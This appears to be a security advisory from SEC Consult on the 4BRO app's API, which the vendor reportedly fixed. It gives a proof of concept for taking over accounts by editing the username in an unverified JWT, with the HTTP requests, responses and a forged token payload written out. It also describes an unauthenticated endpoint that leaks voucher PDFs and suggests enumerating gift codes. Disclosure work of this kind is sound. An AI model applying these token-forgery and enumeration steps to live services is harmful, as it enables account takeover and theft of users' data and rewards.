Vendor description
"4BRO is a German company known for producing iced tea beverages. The brand offers a variety of flavors, including unique combinations such as peach, bubblegum, and watermelon mint. 4BRO emphasizes modern and appealing packaging, targeting a younger demographic. The company promotes its products through various platforms and incentivizes customer loyalty with their app, which allows users to collect points for rewards. The company's headquarters is located in Germany, and their products are widely available both online and in retail stores."
Source: https://www.4bro.de
Business recommendation
The vendor has fixed the security issues in the API server as of 2024-04-17.
SEC Consult highly recommends to perform a thorough security review of the product conducted by security professionals to identify and resolve potential further security issues.
Vulnerability overview/description
1) Broken access control via IDOR in 4BRO app API
An IDOR vulnerability (Insecure Direct Object Reference) allows an attacker to change the username in the Bearer token used for authentication in the 4BRO app. This leads to account takeover as a result of broken access control (poor Bearer token verification). Attackers are able to access all data or Bro points ("broins") from other users.
2) API Information Exposure
When opening the app as an unauthenticated user, the 4BRO app loads JSON data from a publicly available API endpoint containing sensitive data like e-mail addresses of employees, internal invoices, a CV including personal information, a gift card etc.
Proof of concept
1) Broken access control via IDOR in 4BRO app API
When logging in into the 4BRO app, the server returns a JWT (JSON Web Token). The "login" HTTP request looks like this:
POST /api/user/signin HTTP/2
Host: adminpanel.4bro.de
Content-Type: application/json
[...]
{"email":"<login email>","password":"<login password>"}
The server responds with a JWT used for authentication and additional account-related data:
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
[...]
{
"token": "<JWT here>",
"userData": {
"isBlocked": false,
"_id": "[...]",
"userType": "USER",
"email": "<login email>",
"broins": 0,
"deviceId": null,
"userCreationDate": "2023-XX-XXTXX:XX:XX.XXXZ",
"address": [{
"_id": "[...]",
"streetName": "[...]",
"streetNumber": "[...]",
"postalcode": "[...]",
"city": "[...]",
"firstName": "[...]",
"lastName": "[...]",
"country": "at"
}
],
"ratings": [],
"__v": 0,
"pushToken": "[...]",
"telekomUUID": "[...]"
}
}
Because the JWT is only base64-encoded, it is easy to decode the JWT's header and payload as clear text using JWT decoders like token.dev:
Header:
{
"kid": "[...]",
"alg": "RS256"
}
Payload:
{
"sub": "[...]",
"event_id": "[...]",
"token_use": "access",
"scope": "aws.cognito.signin.user.admin",
"auth_time": 1683565567,
"iss": "https://cognito-idp.eu-central-1.amazonaws.com/[...]",
"exp": 1683569167,
"iat": 1683565567,
"jti": "[...]",
"client_id": "[...]",
"username": "<login email>"
}
The payload of the JWT contains multiple values indicating that AWS Cognito is in use. By changing the "username" value of the JWT payload to a victim email, it is possible to use the modified JWT for authenticating as the victim. The victim should already have a normally registered account in the 4BRO app. By trial and error, it turns out that even the following modified JWT payload gets accepted by the server:
{
"sub": "0",
"event_id": "0",
"token_use": "access",
"scope": "aws.cognito.signin.user.admin",
"auth_time": 0,
"iss": "",
"exp": 0,
"iat": 0,
"jti": "0",
"client_id": "0",
"username": "<login email>"
}
Meanwhile, the "kid" property in the JWT header must be a valid value, but can belong to any other already existing 4BRO app account. The JWT signature can be the same and does not get verified at all.
Using the modified JWT, all API methods supported by the 4BRO app can be executed. Because the server only checks the "username" property in the JWT payload and does slim to none JWT verification, the server thinks that the request came from the account associated with the login email contained in the "username" property.
This way, sensitive data such as the current "broin" balance, full user data as seen in the login response, previous transactions, redeemed vouchers and goodies etc. can be accessed without restrictions, using the 4BRO API. Also, the "sending broins" action can be performed so that earned "broins" could be transferred to an attacker's account balance.
2) API Information Exposure
By monitoring the 4BRO app's requests over a proxy, it can be observed that the following HTTP request is made when opening the "Goodies" section of the app:
GET /api/goodies?pageSize=1000 HTTP/2
Host: adminpanel.4bro.de
[...]
The response is a JSON object containing all goodies that are or were at some point available in the 4BRO app:
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 327138
[...]
{
"goodiesList": [{
"_id": "61950603005c650530b63aac",
"name": "1x 4BRO Getränk Imbiss",
"longDescription": "[...]",
"shortDescription": "Auf unseren Nacken!",
"imagePath":
"https://broappasset-prod.s3.eu-central-1.amazonaws.com/dev/goodies/app_kachel_food_256x256.jpg",
"category": "Food",
"quantity": 999999999999808,
"costOfGoodie": 250,
"supplier": "<email removed>",
"totalGoodies": 999999999999861,
"goodieAvailableTime": "Unlimited",
"deliveryMethod": "partnerCoupon",
"isNewGoodie": false,
"inhouseAppVoucherUrl":
"https://broappasset-prod.s3.eu-central-1.amazonaws.com/dev/inhouseAppVouchers/undefined",
"__v": 1,
"rating": {
"value": 3.991869918699184,
"total": 123
},
"forceGoodie": "true",
"goodieAvailableEndTime": null,
"goodieAvailableStartTime": null,
"restriction": [],
"hidden": false,
"slashedCostOfGoodie": null
},{
[...]
},
[...]
}
],
"goodieCount": 371
}
This JSON object contains already sensitive data such as the goodie supplier's email addresses. Out of the 371 goodies, 36 of those have a URL to a PDF file contained within the "inhouseAppVoucherUrl" property. Because these files are hosted on an AWS S3 bucket, everyone can access these documents without authentication.
These documents seem to contain various sensitive company internal and personal information.
While discovering vulnerability 1), we found that old gift codes were also stored as PDF files on the AWS S3 bucket. The names of the gift code PDF files indicate that there may be more similarly named documents (IDOR) which could be detected in an automated way. This could be leveraged to find additional gift code PDF files stored on the AWS S3 bucket.
Vulnerable / tested versions
The following app version has been tested and downloaded through Google Play store, which was the most recent version available at the time of the test:
- 3.14.7
Because the vulnerability is actually server-side within the API, the iOS app was also affected at the time the vulnerabilities were discovered.